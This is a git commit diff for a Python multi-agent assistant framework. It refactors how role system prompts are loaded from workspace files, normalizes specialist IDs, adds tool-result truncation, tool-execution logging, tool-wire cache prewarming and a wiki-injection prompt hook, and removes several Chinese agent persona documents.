重构主控编排与运行时预热链路,统一工作区提示词/专家调度协议并补齐 wiki 记忆注入与写回闭环。

同时收敛启动与运维脚本默认行为(含 wiki worker)、更新 Admin 可观测性与相关测试,降低首轮时延并提高运行稳定性。

Made-with: Cursor
This commit is contained in:
oliver 2026-04-26 08:34:33 +08:00
parent 4a23b715a2
commit dbbe3add6a
14438 changed files with 2693620 additions and 2546 deletions

View file

@ -1,7 +1,7 @@
"""Role/system context builders.
These utilities build a role-specific system context from the runtime asset
workspaces under `oclaw/runtime/assets/agent_workspaces/*`.
These utilities build a role-specific system context from
`oclaw/runtime/workspaces/*`.
"""
from .loader import build_role_system_context

View file

@ -1,9 +1,16 @@
from __future__ import annotations
import re
import threading
from pathlib import Path
from typing import Any
from oclaw.platform.config.paths import PROJECT_ROOT
from oclaw.prompts.loader import render_runtime_prompt
_ROLE_CONTEXT_CACHE_LOCK = threading.Lock()
_ROLE_CONTEXT_CACHE: dict[tuple[str, tuple[Any, ...], tuple[tuple[str, str], ...]], str] = {}
_ROLE_DOCS: tuple[str, ...] = ("SOUL.md", "ROLE_SYSTEM.md")
_TEMPLATE_VAR_RE = re.compile(r"\{\{\s*([A-Za-z0-9_]+)\s*\}\}")
def _read_text(path: Path) -> str:
@ -17,33 +24,96 @@ def _read_text(path: Path) -> str:
def _workspace_for_role(role: str) -> str:
r = str(role or "").strip().lower()
if r in {"ops", "coding"}:
return "workspace-coding"
if r in {"social"}:
return "workspace-social"
return "workspace-main"
if r == "manager":
return "main"
return r or "generalist"
def build_role_system_context(role: str) -> str:
"""Build role context from runtime asset workspaces with prompt fallback."""
workspace = _workspace_for_role(role)
agent_root = (PROJECT_ROOT / "oclaw" / "runtime" / "assets" / "agent_workspaces" / workspace).resolve()
def _role_workspace_signature(role_id: str) -> tuple[Any, ...]:
base = (PROJECT_ROOT / "oclaw" / "runtime" / "workspaces").resolve()
role_root = (base / role_id).resolve()
if not role_root.exists() or not role_root.is_dir():
return ("missing", role_id, str(base))
rows: list[tuple[str, int, int]] = []
for name in _ROLE_DOCS:
p = role_root / name
if not p.exists() or not p.is_file():
rows.append((name, 0, 0))
continue
try:
st = p.stat()
rows.append((name, int(getattr(st, "st_mtime_ns", 0)), int(st.st_size)))
except Exception:
rows.append((name, 0, 0))
return (str(role_root), *tuple(rows))
def _normalize_template_vars(template_vars: dict[str, Any] | None) -> tuple[tuple[str, str], ...]:
if not isinstance(template_vars, dict):
return tuple()
pairs: list[tuple[str, str]] = []
for k, v in template_vars.items():
key = str(k or "").strip()
if not key:
continue
pairs.append((key, str(v or "").strip()))
pairs.sort(key=lambda x: x[0])
return tuple(pairs)
def _render_template_vars(text: str, vars_tuple: tuple[tuple[str, str], ...]) -> str:
if not text:
return ""
if not vars_tuple:
return text
vars_map = {k: v for k, v in vars_tuple}
def _replace(m: re.Match[str]) -> str:
name = str(m.group(1) or "").strip()
return vars_map.get(name, m.group(0))
return _TEMPLATE_VAR_RE.sub(_replace, text)
def build_role_system_context(role: str, template_vars: dict[str, Any] | None = None) -> str:
"""Build role context from runtime/workspaces/<role>."""
role_id = _workspace_for_role(role)
sig = _role_workspace_signature(role_id)
vars_tuple = _normalize_template_vars(template_vars)
cache_key = (role_id, sig, vars_tuple)
with _ROLE_CONTEXT_CACHE_LOCK:
cached = _ROLE_CONTEXT_CACHE.get(cache_key)
if isinstance(cached, str) and cached.strip():
return cached
base = (PROJECT_ROOT / "oclaw" / "runtime" / "workspaces").resolve()
roots: list[Path] = []
role_root = (base / role_id).resolve()
if role_root.exists() and role_root.is_dir():
roots.append(role_root)
parts: list[str] = []
for name in ("AGENTS.md", "IDENTITY.md", "SOUL.md", "USER.md"):
t = _read_text(agent_root / name)
for name in ("SOUL.md",):
t = ""
for root in roots:
t = _render_template_vars(_read_text(root / name), vars_tuple)
if t:
break
if t:
parts.append(f"# {name}\n{t}")
role_id = str(role or "").strip().lower()
if role_id == "ops":
fallback = render_runtime_prompt("roles/specialists/ops/system.md", strict=True)
elif role_id == "image":
fallback = render_runtime_prompt("roles/specialists/image/system.md", strict=True)
elif role_id == "memory_curator":
fallback = render_runtime_prompt("roles/specialists/memory_curator/system.md", strict=True)
else:
fallback = render_runtime_prompt("roles/specialists/generalist/system.md", strict=True)
parts.append(f"# FALLBACK_ROLE_SYSTEM\n{fallback}")
return "\n\n".join([p for p in parts if p.strip()]).strip()
parts.append(f"# SOUL\n{t}")
role_system = ""
for root in roots:
role_system = _render_template_vars(_read_text(root / "ROLE_SYSTEM.md"), vars_tuple)
if role_system:
break
if not role_system:
role_system = "你是专业助手。先给可验证结论,再给依据与下一步。"
parts.append(f"# ROLE_SYSTEM\n{role_system}")
out = "\n\n".join([p for p in parts if p.strip()]).strip()
with _ROLE_CONTEXT_CACHE_LOCK:
_ROLE_CONTEXT_CACHE[cache_key] = out
if len(_ROLE_CONTEXT_CACHE) > 64:
_ROLE_CONTEXT_CACHE.clear()
_ROLE_CONTEXT_CACHE[cache_key] = out
return out
__all__ = ["build_role_system_context"]

View file

@ -55,6 +55,7 @@ class AttemptRunnerInput:
workspace_dir: str | None = None
skill_binding_role: str | None = None
wire_policy_role: str | None = None
prompt_build_context: dict[str, Any] | None = None
@dataclass(frozen=True)
@ -123,6 +124,7 @@ def run_attempt(*, store: Any, data: AttemptRunnerInput) -> AttemptRunnerOutput:
persist_user_message=bool(data.persist_user_message),
skill_binding_role=data.skill_binding_role,
wire_policy_role=data.wire_policy_role,
prompt_build_context=data.prompt_build_context,
)
after_turn_memory(
store=store,

View file

@ -214,6 +214,7 @@ def run_agent_core(*, store: Any, data: AgentCoreRunInput) -> AgentCoreRunOutput
),
skill_binding_role=data.skill_binding_role,
wire_policy_role=data.wire_policy_role,
prompt_build_context=(dict(data.msg.metadata or {}) if isinstance(data.msg.metadata, dict) else None),
),
)
attempts.append(out.state)

View file

@ -10,6 +10,7 @@ from oclaw.runtime.agents.network_ops_agent import NetworkOpsAgent
from oclaw.runtime.agents.specialist_agent import SpecialistProfile
from oclaw.runtime.agents.specialists import (
AGENT_PROFILE_BINDINGS_KEY,
normalize_specialist_id,
AGENT_ROLE_IDS,
MANAGER_AGENT_ID,
SPECIALIST_IDS,
@ -213,26 +214,12 @@ def _build_executor_components(
except Exception:
pass
specialist_profiles = {
"ops": SpecialistProfile(
name="ops",
system_prefix=default_system_prefix_for_specialist("ops", lang),
tool_tags=default_tool_tags_for_specialist("ops"),
),
"generalist": SpecialistProfile(
name="generalist",
system_prefix=default_system_prefix_for_specialist("generalist", lang),
tool_tags=default_tool_tags_for_specialist("generalist"),
),
"image": SpecialistProfile(
name="image",
system_prefix=default_system_prefix_for_specialist("image", lang),
tool_tags=default_tool_tags_for_specialist("image"),
),
"memory_curator": SpecialistProfile(
name="memory_curator",
system_prefix=default_system_prefix_for_specialist("memory_curator", lang),
tool_tags=default_tool_tags_for_specialist("memory_curator"),
),
sid: SpecialistProfile(
name=sid,
system_prefix=default_system_prefix_for_specialist(sid, lang),
tool_tags=default_tool_tags_for_specialist(sid),
)
for sid in SPECIALIST_IDS
}
return (
base_agent,
@ -299,7 +286,7 @@ def build_gateway_executor(
viewer_username=viewer_username,
viewer_tenant_id=viewer_tenant_id,
)
sid = str(specialist or "").strip().lower() or "generalist"
sid = normalize_specialist_id(specialist)
if sid not in specialist_profiles:
sid = "generalist"
prof = specialist_profiles.get(sid) or specialist_profiles["generalist"]

View file

@ -3,11 +3,16 @@ from __future__ import annotations
from typing import Any
from oclaw.runtime.chat.agent import Agent
from oclaw.runtime.agent_context import build_role_system_context
from oclaw.platform.persistence.sqlite_store import SqliteStore
from oclaw.prompts.loader import render_runtime_prompt
from oclaw.prompts.loader import render_prompt
from oclaw.runtime.tools import default_registry
NETWORK_SYSTEM_PROMPT_ZH = render_runtime_prompt("roles/specialists/ops/system.md", strict=True)
NETWORK_SYSTEM_PROMPT_ZH = render_prompt(
"agents/network_ops_system.zh.md",
variables={"ROLE_SYSTEM_CONTEXT": build_role_system_context("ops")},
strict=True,
)
class NetworkOpsAgent(Agent):
@ -36,7 +41,7 @@ class NetworkOpsAgent(Agent):
store=store,
tools=tools,
model=model,
system_prompt=(system_prompt or render_runtime_prompt("roles/specialists/ops/system.md", strict=True)),
system_prompt=(system_prompt or NETWORK_SYSTEM_PROMPT_ZH),
lang=lang,
llm_profile_mode=llm_profile_mode,
)

View file

@ -5,6 +5,7 @@ import json
from typing import Any
from oclaw.runtime.agent_context import build_role_system_context
from oclaw.runtime.workspaces.experts import discover_specialist_ids_from_workspaces
SpecialistId = str
@ -38,37 +39,52 @@ SPECIALISTS: dict[SpecialistId, SpecialistConfig] = {
expert_name="generalist",
default_tool_tags=None,
),
"memory_curator": SpecialistConfig(
specialist_id="memory_curator",
expert_name="memory_curator",
"memory": SpecialistConfig(
specialist_id="memory",
expert_name="memory",
default_tool_tags=None,
),
}
SPECIALIST_IDS: tuple[SpecialistId, ...] = tuple(SPECIALISTS.keys())
def discover_specialist_ids() -> tuple[SpecialistId, ...]:
return discover_specialist_ids_from_workspaces(base_order=("generalist", "ops", "image", "memory"))
SPECIALIST_IDS: tuple[SpecialistId, ...] = discover_specialist_ids()
AGENT_ROLE_IDS: tuple[AgentRoleId, ...] = (MANAGER_AGENT_ID, *SPECIALIST_IDS)
def expert_name_for_specialist(specialist_id: SpecialistId) -> str:
cfg = SPECIALISTS.get(specialist_id) or SPECIALISTS["generalist"]
sid = normalize_specialist_id(specialist_id)
cfg = SPECIALISTS.get(sid) or SPECIALISTS["generalist"]
return cfg.expert_name
def default_tool_tags_for_specialist(specialist_id: SpecialistId) -> frozenset[str] | None:
cfg = SPECIALISTS.get(specialist_id) or SPECIALISTS["generalist"]
sid = normalize_specialist_id(specialist_id)
cfg = SPECIALISTS.get(sid) or SPECIALISTS["generalist"]
return cfg.default_tool_tags
def default_system_prefix_for_specialist(specialist_id: SpecialistId, lang: str = "zh") -> str:
sid = (specialist_id or "").strip().lower() or "generalist"
cfg = SPECIALISTS.get(sid) or SPECIALISTS["generalist"]
sid = normalize_specialist_id(specialist_id)
_ = (lang or "zh").strip().lower()
return build_role_system_context(cfg.specialist_id)
return build_role_system_context(sid)
def model_role_for_specialist(specialist_id: SpecialistId) -> AgentRoleId:
sid = normalize_specialist_id(specialist_id)
if sid in SPECIALIST_IDS:
return sid
return "generalist"
def normalize_specialist_id(specialist_id: SpecialistId | None) -> SpecialistId:
sid = (specialist_id or "").strip().lower()
if sid in SPECIALISTS:
return sid
if sid in discover_specialist_ids():
return sid
return "generalist"
@ -117,7 +133,9 @@ __all__ = [
"SPECIALIST_IDS",
"default_system_prefix_for_specialist",
"default_tool_tags_for_specialist",
"discover_specialist_ids",
"expert_name_for_specialist",
"model_role_for_specialist",
"normalize_specialist_id",
"parse_agent_profile_bindings",
]

View file

@ -1,23 +0,0 @@
# AGENTS
## 专业能力
- 代码阅读、实现、重构、故障修复。
- 测试执行与失败归因(单测/集成/端到端)。
- 构建与运行链路排障(依赖、配置、环境)。
## 标准工作流
1. 定义问题:复现条件、预期行为、验收标准。
2. 设计改动:最小可行方案 + 风险点。
3. 实施修改:控制变更面,避免顺手改动。
4. 执行验证:至少覆盖变更相关路径。
5. 交付结果:给出变更清单与可复现验证结论。
## 交付格式(固定)
- Changed: 改了哪些文件和行为。
- Why: 为什么这样改。
- Verified: 跑了什么,结果如何。
- Risks: 剩余风险和建议后续动作。
## 协作规则
- 需要对外表达优化时,移交 `social`。
- 需要跨系统运行环境排障时,联动 `ops`。

View file

@ -1,18 +0,0 @@
# IDENTITY
## 名字
Coding Specialist
## 职位
研发交付负责人(Implementation Owner)
## 核心职责
- 代码实现:新功能、重构、缺陷修复。
- 质量验证:运行相关测试并解释结果。
- 风险控制:识别兼容性、性能、回归风险。
- 工程对齐:保持代码风格、结构、约束一致。
## 职责边界
- 不替产品做需求优先级决策。
- 不对外发布品牌语义文本(交给 social)。
- 发现需求不清时,先提出最小澄清再继续。

View file

@ -1,17 +0,0 @@
# SOUL
## 核心人格
- 工程师人格:先事实,后判断;先复现,后修复。
- 对质量有洁癖:不接受“看起来能跑”。
- 追求稳态:改动越小越好,回归风险越低越好。
## 沟通风格
- 用工程语言沟通:路径、函数、命令、结果。
- 先报告“是否修好”,再报告“怎么修的”。
- 拒绝空泛建议,默认给可执行步骤。
## 行为准则
1. 先建立最小复现,再动代码。
2. 一次只解决一个核心问题,避免混改。
3. 改完必须有验证(测试/脚本/复现步骤)。
4. 对潜在副作用给出明确提醒。

View file

@ -1,14 +0,0 @@
# USER
## 服务对象画像
- 主要对象:技术负责人、开发同事、reviewer。
- 他们要的是“能合并、可上线、可回滚”的答案。
## 输出偏好
- 必须包含:修改点、影响范围、验证结果、残余风险。
- 命令和路径明确,不给“你自己试试”式建议。
- 出现失败时给下一跳动作,而不是只给错误文本。
## 协作偏好
- 对主方案给清晰推荐,对备选方案简短说明 trade-off。
- 若改动较大,先给拆分步骤,降低审查成本。

View file

@ -1,7 +0,0 @@
# memory
研发长期记忆目录。
- preferences.md:代码风格偏好
- project_facts.md:架构约束
- lessons.md:历史问题复盘

View file

@ -1,22 +0,0 @@
# AGENTS
## 组织定位
Main Orchestrator 负责“分派、把关、汇总”,不是所有事都亲自执行。
## 路由策略(何时调用谁)
- `coding`:代码实现、重构、缺陷修复、测试失败、性能问题。
- `social`:对外文案、公告、邮件、PR 描述、语气统一与改写。
- `ops`:部署、运行环境、日志排障、配置/网络/可用性问题。
- `image`:图像生成与编辑任务。
- `generalist`:低复杂度通用问题或跨域轻量任务。
## 编排工作流
1. 澄清目标:输出格式、边界、验收标准。
2. 派发执行:给 specialist 明确上下文与成功条件。
3. 验收结果:检查证据、测试、边界情况。
4. 汇总答复:保留关键依据,给推荐动作。
## 质量门槛
- 每个结论必须可追溯到证据(代码、命令输出、日志、文档)。
- 涉及改动必须标明影响面和验证方法。
- 无法验证时必须显式声明风险等级(低/中/高)。

View file

@ -1,18 +0,0 @@
# IDENTITY
## 名字
Main Orchestrator
## 职位
多 Agent 体系中的总协调者(Manager + Integrator)
## 核心职责
- 将用户需求转成可执行任务,明确验收标准。
- 选择合适 specialist(coding/social/runtime/operations/image/generalist)。
- 汇总 specialist 结果,统一为用户可决策输出。
- 对冲突信息做裁决:以证据充分、风险可控为准。
## 职责边界
- 不替 specialist 做细节实现,除非任务非常小且无需上下文切换。
- 不产出“未验证即默认正确”的技术判断。
- 不跳过风险告知直接执行破坏性动作。

View file

@ -1,18 +0,0 @@
# SOUL
## 核心人格
- 总指挥型:先判断“做什么最值”,再安排“谁来做”。
- 结果导向:以可交付结果衡量质量,而不是解释长度。
- 冷静克制:遇到不确定性先澄清假设,不给虚假确定性。
## 说话风格
- 先结论,后依据,最后下一步。
- 默认中文;用户英文提问时用英文响应。
- 不说套话,不复述无增量信息。
## 决策原则
1. 用户目标优先于技术偏好。
2. 正确性优先于速度,速度优先于形式完美。
3. 能验证的结论才算结论。
4. 高风险操作必须显式说明影响和回滚路径。
5. 复杂任务拆解为可检查的阶段结果。

View file

@ -1,16 +0,0 @@
# USER
## 服务对象画像
- 角色:负责人/决策者,时间稀缺。
- 关注:业务影响、交付速度、回归风险、可回滚性。
- 预期:拿到可以立即执行或决策的答案。
## 输出偏好
- 固定顺序:结论 -> 影响范围 -> 验证状态 -> 下一步。
- 复杂事项给 2-3 个方案,但明确推荐一个主方案。
- 若存在不确定性,明确“已知/未知/待确认”。
## 反感点
- 大段背景铺垫但没有结论。
- 只讲思路不落地。
- 隐瞒风险或把风险说模糊。

View file

@ -1,7 +0,0 @@
# memory
长期记忆目录。
- preferences.md:偏好
- project_facts.md:稳定事实
- lessons.md:复盘经验

View file

@ -1,23 +0,0 @@
# AGENTS
## 专业能力
- 对外文案撰写与润色(公告、邮件、FAQ、发布说明)。
- 语气治理(正式/亲和/技术向)与术语统一。
- 多渠道改写(站内通知、社媒、工单回复、文档说明)。
## 标准工作流
1. 明确场景:受众、渠道、目标动作。
2. 抽取事实:从 coding/ops 输出中提炼可公开信息。
3. 生成成稿:默认主版本 + 可选备选版本。
4. 审核风险:检查歧义、过度承诺、敏感信息泄露。
5. 标注发布建议:标题、摘要、正文、CTA。
## 交付格式(固定)
- Audience: 面向谁。
- Key Message: 一句话主信息。
- Copy: 可直接发布正文。
- Optional Variants: 可选语气版本。
## 协作规则
- 技术细节不确定时,先向 `coding` 要事实澄清。
- 运行状态与时间预估不确定时,先向 `ops` 校验。

View file

@ -1,17 +0,0 @@
# IDENTITY
## 名字
Social Communication Specialist
## 职位
对外表达负责人(External Comms Owner)
## 核心职责
- 产出对外文本:公告、邮件、说明、更新日志、PR 描述。
- 根据受众调整语气:管理层、客户、开发者、普通用户。
- 做信息分层:一句话摘要、标准版、详细版。
- 保证术语一致,避免歧义和过度承诺。
## 职责边界
- 不修改技术实现细节(交给 coding)。
- 不替代事实判断;技术事实以证据源为准。

View file

@ -1,16 +0,0 @@
# SOUL
## 核心人格
- 编辑总监型:保证信息准确、语气统一、对外可发布。
- 受众敏感:先考虑读者理解成本,再考虑表达“漂亮”。
- 克制表达:少形容词,多清晰事实与行动指引。
## 说话风格
- 先给“一句话主信息”,再给细节版本。
- 提供可直接复制使用的成稿。
- 保持礼貌与专业,不油腻、不空泛。
## 价值原则
1. 准确性高于文采。
2. 清晰度高于长度。
3. 品牌一致性高于个人风格。

View file

@ -1,14 +0,0 @@
# USER
## 服务对象画像
- 主要对象:运营、市场、客户成功、管理层。
- 他们需要“可直接发布”的成品,而不是草稿思路。
## 输出偏好
- 默认提供三层文本:一句话版 / 标准版 / 详细版。
- 明确标注受众和使用场景。
- 对可能引发误解的句子给替代表达。
## 风险偏好
- 宁可少承诺,不做无法兑现的承诺。
- 涉及时间、范围、SLA 时必须谨慎措辞。

View file

@ -1,7 +0,0 @@
# memory
内容与沟通长期记忆目录。
- preferences.md:语气与品牌偏好
- project_facts.md:固定术语与禁用词
- lessons.md:历史反馈与优化经验

View file

@ -211,14 +211,6 @@ class Agent:
tenant_id = tenant_id or str(owner.get("tenant_id") or "")
user_id = user_id or str(owner.get("user_id") or "")
session = self.store.get_session(session_id)
if session and session.title in ("新会话", "New Chat"):
title = user_text.strip().replace("\n", " ")
if not title and attachments:
title = str(attachments[0].get("name") or "New Chat")
if title:
self.store.rename_session(session_id, title[:SESSION_TITLE_MAX_LEN])
self._emit_progress(
on_progress,
"Received. Working on your request…",
@ -267,11 +259,14 @@ class Agent:
from oclaw.runtime.chat.agent_messages import build_llm_messages
msgs = self.store.get_messages(session_id=session_id, limit=self.config.max_messages)
trunc_raw = str(self.store.get_setting("AIA_TOOL_CONTEXT_TRUNCATE_ENABLED") or "").strip().lower()
tool_context_truncate_enabled = trunc_raw not in ("0", "false", "no", "off")
return build_llm_messages(
store_messages=msgs,
system_prompt=self._compose_system_prompt(),
model=self.model,
lang=self.lang,
tool_context_truncate_enabled=tool_context_truncate_enabled,
)

View file

@ -21,6 +21,7 @@ from oclaw.runtime.relay_pointer import parse_pointer_uri
logger = logging.getLogger(__name__)
_THINK_BLOCK_RE = re.compile(r"<think>\s*(.*?)\s*</think>\s*", flags=re.IGNORECASE | re.DOTALL)
_TOOL_CONTEXT_RESULT_MAX_CHARS = 50
def _replay_recent_tool_rounds() -> int:
@ -175,12 +176,23 @@ def _summarize_unpaired_tool_content(raw: str, *, cap: int) -> str:
return s
def _truncate_tool_context(text: str, *, lang: str) -> str:
s = str(text or "").strip()
if not s:
return s
if len(s) <= _TOOL_CONTEXT_RESULT_MAX_CHARS:
return s
tip = "…(详情请重新阅读)" if not str(lang or "").startswith("en") else "... (details truncated, please re-read)"
return s[:_TOOL_CONTEXT_RESULT_MAX_CHARS] + tip
def build_llm_messages(
*,
store_messages: list[Any],
system_prompt: str,
model: ChatModel,
lang: str,
tool_context_truncate_enabled: bool = True,
) -> list[dict[str, Any]]:
"""把 DB 中的消息序列转换为 LLM messages。"""
out: list[dict[str, Any]] = [{"role": "system", "content": (system_prompt or "").strip()}]
@ -427,6 +439,8 @@ def build_llm_messages(
r0 = getattr(m, "content", "") or ""
cap0 = tool_llm_message_max_chars()
pretty = _summarize_unpaired_tool_content(r0, cap=cap0)
if tool_context_truncate_enabled:
pretty = _truncate_tool_context(pretty, lang=lang)
out.append(
{
"role": "assistant",
@ -457,6 +471,10 @@ def build_llm_messages(
tool_content_out = raw_tc_content[: max(1, cap - 80)] + "\n...<truncated>"
except Exception:
tool_content_out = raw_tc_content[: max(1, cap - 80)] + "\n...<truncated>"
if tool_context_truncate_enabled:
# Preserve explicit guard markers from upstream context guards.
if "_tool_result_guarded" not in str(tool_content_out or ""):
tool_content_out = _truncate_tool_context(tool_content_out, lang=lang)
tool_row: dict[str, Any] = {
"role": "tool",
"tool_call_id": tool_call_id,
@ -476,6 +494,8 @@ def build_llm_messages(
r = getattr(m, "content", "") or ""
cap2 = tool_llm_message_max_chars()
pretty2 = _summarize_unpaired_tool_content(r, cap=cap2)
if tool_context_truncate_enabled:
pretty2 = _truncate_tool_context(pretty2, lang=lang)
out.append(
{
"role": "assistant",

View file

@ -23,6 +23,7 @@ from oclaw.runtime.tools.tool_validation import validate_tool_arguments
from oclaw.runtime.tools.experts.workspace.workspace_base import workspace_path_access_scope
logger = logging.getLogger(__name__)
_tool_exec_log = logging.getLogger("oclaw.tool_exec")
_TOOL_ERROR_MAP = {
"tool_timeout_or_failed": "tool_timeout_or_failed",
@ -275,13 +276,43 @@ class ToolExecutor:
ex.shutdown(wait=False)
else:
result = _call()
return normalize_tool_result(result), int((time.perf_counter() - t0) * 1000)
out = normalize_tool_result(result)
dur_ms = int((time.perf_counter() - t0) * 1000)
try:
_tool_exec_log.info(
"tool_exec name=%s ok=%s dur_ms=%s session=%s specialist=%s tool_call_id=%s error_code=%s",
str(tc.name or ""),
str(bool(out.get("ok"))),
str(dur_ms),
str(ctx.session_id or ""),
str(ctx.specialist or ""),
str(getattr(tc, "id", "") or ""),
str(out.get("error_code") or ""),
)
except Exception:
pass
return out, dur_ms
except Exception as e:
if ctx.lang.startswith("en"):
err = {"ok": False, "error_code": "tool_execution_error", "error": f"Tool execution error: {type(e).__name__}: {e}"}
else:
err = {"ok": False, "error_code": "tool_execution_error", "error": f"工具执行异常: {type(e).__name__}: {e}"}
return normalize_tool_result(err), int((time.perf_counter() - t0) * 1000)
out = normalize_tool_result(err)
dur_ms = int((time.perf_counter() - t0) * 1000)
try:
_tool_exec_log.info(
"tool_exec name=%s ok=%s dur_ms=%s session=%s specialist=%s tool_call_id=%s error_code=%s",
str(tc.name or ""),
str(bool(out.get("ok"))),
str(dur_ms),
str(ctx.session_id or ""),
str(ctx.specialist or ""),
str(getattr(tc, "id", "") or ""),
str(out.get("error_code") or ""),
)
except Exception:
pass
return out, dur_ms
@staticmethod
def _json_dumps_safe(obj: Any) -> str:

View file

@ -1,9 +1,12 @@
from __future__ import annotations
import json
import os
import re
import time
import uuid
import copy
import threading
from dataclasses import dataclass
from types import SimpleNamespace
from typing import Any, Callable, Optional
@ -18,6 +21,7 @@ from oclaw.runtime.system_prompt import build_oclaw_executor_system_prompt
from oclaw.runtime.types import OclawMemoryContext
from oclaw.runtime.orchestration.trace import new_span_id
from oclaw.runtime.tools.base import ToolRegistry
from oclaw.runtime.hooks_runtime import trigger_hook_event
_OCLAW_TOOL_RESULT_HARD_CAP_CHARS = 24_000
@ -26,6 +30,113 @@ _DIRECT_LOOP_OC_STAGE: dict[str, str] = {
"tool_result_context_guard": "tool_context_guard",
}
_THINK_BLOCK_RE = re.compile(r"<(think|redacted_thinking)>\s*(.*?)\s*</\1>\s*", flags=re.IGNORECASE | re.DOTALL)
_TOOL_WIRE_CACHE_LOCK = threading.Lock()
_TOOL_WIRE_CACHE: dict[str, tuple[float, list[dict[str, Any]]]] = {}
_TOOL_WIRE_CACHE_TTL_SEC = 300.0
_TOOL_WIRE_FROZEN_SIGNATURE: str | None = None
_TOOL_WIRE_LAST_WARM_TS_MS: int = 0
_TOOL_WIRE_LAST_WARM_ROLES: tuple[str, ...] = ()
_TOOL_WIRE_LAST_WARM_COUNT: int = 0
def _tool_wire_freeze_enabled(store: Any) -> bool:
raw = ""
try:
raw = str(store.get_setting("AIA_TOOL_WIRE_FROZEN_ON_STARTUP") or "").strip().lower()
except Exception:
raw = ""
if not raw:
raw = str(os.getenv("AIA_TOOL_WIRE_FROZEN_ON_STARTUP") or "").strip().lower()
if not raw:
return True
return raw in {"1", "true", "yes", "on"}
def _tool_wire_settings_signature(store: Any) -> tuple[bool, str]:
runtime_enabled = True
try:
raw_flag = str(store.get_setting("AIA_SKILL_RUNTIME_ENABLED") or "").strip().lower()
if raw_flag:
runtime_enabled = raw_flag in {"1", "true", "yes", "on"}
except Exception:
runtime_enabled = True
sig = "|".join(
[
f"rt={int(bool(runtime_enabled))}",
f"mcp={str(store.get_setting('AIA_ENABLE_MCP_TOOLS') or '')}",
f"plugin={str(store.get_setting('AIA_ENABLE_PLUGIN_TOOLS') or '')}",
f"skill_rt={str(store.get_setting('AIA_SKILL_RUNTIME_ENABLED') or '')}",
f"skill_disabled={str(store.get_setting('AIA_SKILL_DISABLED_NAMES') or '')}",
f"bind_en={str(store.get_setting('AIA_SKILL_ROLE_BINDING_ENABLED') or '')}",
f"bind_inherit={str(store.get_setting('AIA_SKILL_ROLE_BINDING_MANAGER_INHERIT') or '')}",
]
)
return runtime_enabled, sig
def _tool_wire_cache_key(
*,
store: Any,
base_url: str,
wire_policy_role: str | None,
runtime_enabled: bool,
settings_sig: str | None = None,
) -> str:
_, sig = _tool_wire_settings_signature(store)
effective_sig = str(settings_sig or sig)
return (
f"base={base_url}|role={str(wire_policy_role or '').strip().lower()}|"
f"rt={int(bool(runtime_enabled))}|{effective_sig}"
)
def warm_tool_wire_cache(
*,
store: Any,
tools: ToolRegistry,
base_url: str,
roles: list[str] | tuple[str, ...],
) -> dict[str, int]:
global _TOOL_WIRE_FROZEN_SIGNATURE, _TOOL_WIRE_LAST_WARM_TS_MS, _TOOL_WIRE_LAST_WARM_ROLES, _TOOL_WIRE_LAST_WARM_COUNT
freeze_enabled = _tool_wire_freeze_enabled(store)
runtime_enabled, sig = _tool_wire_settings_signature(store)
warmed = 0
for role in roles or []:
_ = _prepare_llm_tools(
store=store,
tools=tools,
base_url=base_url,
session_id="startup-prewarm",
trace_id=None,
parent_span_id=None,
run_id="startup-prewarm",
attempt_no=0,
lang="",
wire_policy_role=str(role or "").strip().lower() or None,
)
warmed += 1
with _TOOL_WIRE_CACHE_LOCK:
_TOOL_WIRE_FROZEN_SIGNATURE = f"rt={int(bool(runtime_enabled))}|{sig}" if freeze_enabled else None
_TOOL_WIRE_LAST_WARM_TS_MS = int(time.time() * 1000)
_TOOL_WIRE_LAST_WARM_ROLES = tuple(str(x or "").strip().lower() for x in roles or [])
_TOOL_WIRE_LAST_WARM_COUNT = int(warmed)
return {"roles_warmed": int(warmed), "frozen": int(bool(freeze_enabled))}
def tool_wire_freeze_status(*, store: Any | None = None) -> dict[str, Any]:
enabled = True
if store is not None:
enabled = _tool_wire_freeze_enabled(store)
with _TOOL_WIRE_CACHE_LOCK:
return {
"enabled": bool(enabled),
"frozen": bool(isinstance(_TOOL_WIRE_FROZEN_SIGNATURE, str) and _TOOL_WIRE_FROZEN_SIGNATURE.strip()),
"frozen_signature": str(_TOOL_WIRE_FROZEN_SIGNATURE or ""),
"last_warm_ts_ms": int(_TOOL_WIRE_LAST_WARM_TS_MS),
"last_warm_roles": list(_TOOL_WIRE_LAST_WARM_ROLES),
"last_warm_count": int(_TOOL_WIRE_LAST_WARM_COUNT),
"cache_entries": int(len(_TOOL_WIRE_CACHE)),
}
def _emit_direct_loop_trace(
@ -205,6 +316,8 @@ def _build_model_context(
attempt_no: int | None = None,
workspace_dir: str | None = None,
skill_binding_role: str | None = None,
user_text: str = "",
prompt_build_context: dict[str, Any] | None = None,
) -> list[dict[str, Any]]:
rows = store.get_messages(session_id=session_id, limit=int(max_messages))
rows = _guard_tool_results_for_llm_context(
@ -228,7 +341,39 @@ def _build_model_context(
workspace_dir=workspace_dir,
skill_binding_role=skill_binding_role,
)
return build_llm_messages(store_messages=rows, system_prompt=final_system, model=model, lang=lang)
# Hook integration: wiki-auto-inject can prepend retrieval snippets
# before prompt build when query/topic hints indicate supplemental lookup.
try:
pb_ctx = prompt_build_context if isinstance(prompt_build_context, dict) else {}
user_text_final = str(user_text or "").strip()
wiki_query = str(pb_ctx.get("wiki_query") or "").strip()
hook_ctx = {
"userText": (wiki_query or user_text_final),
"prepend_system_context": "",
"need_wiki_inject": pb_ctx.get("need_wiki_inject"),
"memory_mode": str(pb_ctx.get("memory_mode") or ""),
"wiki_query": wiki_query,
}
hook_out = trigger_hook_event(
event_type="llm",
action="before_prompt_build",
session_key=str(session_id or "system"),
context=hook_ctx,
)
prepend = str((hook_out or {}).get("prepend_system_context") or "").strip()
if prepend:
final_system = f"{prepend}\n\n{final_system}".strip()
except Exception:
pass
trunc_raw = str(store.get_setting("AIA_TOOL_CONTEXT_TRUNCATE_ENABLED") or "").strip().lower()
tool_context_truncate_enabled = trunc_raw not in ("0", "false", "no", "off")
return build_llm_messages(
store_messages=rows,
system_prompt=final_system,
model=model,
lang=lang,
tool_context_truncate_enabled=tool_context_truncate_enabled,
)
def _prepare_llm_tools(
@ -244,13 +389,35 @@ def _prepare_llm_tools(
lang: str = "",
wire_policy_role: str | None = None,
) -> list[dict[str, Any]]:
runtime_enabled = True
try:
raw_flag = str(store.get_setting("AIA_SKILL_RUNTIME_ENABLED") or "").strip().lower()
if raw_flag:
runtime_enabled = raw_flag in {"1", "true", "yes", "on"}
except Exception:
runtime_enabled = True
global _TOOL_WIRE_FROZEN_SIGNATURE
now = time.time()
